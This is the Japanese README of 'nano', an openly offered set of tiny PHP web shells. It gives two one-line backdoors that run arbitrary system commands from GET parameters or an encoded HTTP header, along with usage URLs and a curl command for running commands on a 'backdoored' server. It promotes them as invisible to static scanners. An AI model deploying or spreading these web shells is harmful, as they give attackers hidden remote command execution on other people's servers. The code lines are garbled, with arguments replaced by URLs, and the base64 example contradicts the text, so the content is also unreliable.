nano

Nanoは、コードゴルフによって極めてステルス性が高く、効率的なPHPウェブシェルのファミリーです。
もしかしたら注目しておいてください。今後もここにウェブシェルを追加していく予定です。

Nano

<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/master/%24GET_%5Bc%5D);

特徴

• サイズは35バイト
• 静的コードスキャナに検出されない
• 認証をサポート

使い方

http://example.com/nano.php?f=function&c=command&p=password

f は関数用
c はコマンド用
p はパスワード用

例えば、以下のコードは ls コマンドを実行します：

http://example.com/nano.php?f=system&c=ls&p=password

Ninja

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/master/%24x%5B1%5D);

特徴

• サイズは93バイト
• 完全に検出不可能

使い方

これは少し複雑です。
system(ls) を実行したい場合、system~ls と書いてからbase64エンコードします。つまり c3lzdGVtKGxzKQ== です。
その先頭に任意の1文字を追加します。例えば 'x' を追加すると xc3lzdGVtKGxzKQ== になります。
次にターミナルを開いて、以下のコマンドを入力します。
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
手間がかかりすぎる？代わりにハンドラを使用できます。

その他

これは私の最初のPHP作品なので、私がやったことをより良い方法で実現できる方法があれば、教えてください。またはプルリクエストを開いてください。
nanoプロジェクトはMITライセンスの下でライセンスされており、基本的には再配布や変更を行う場合、私へのクレジット表示が必要です。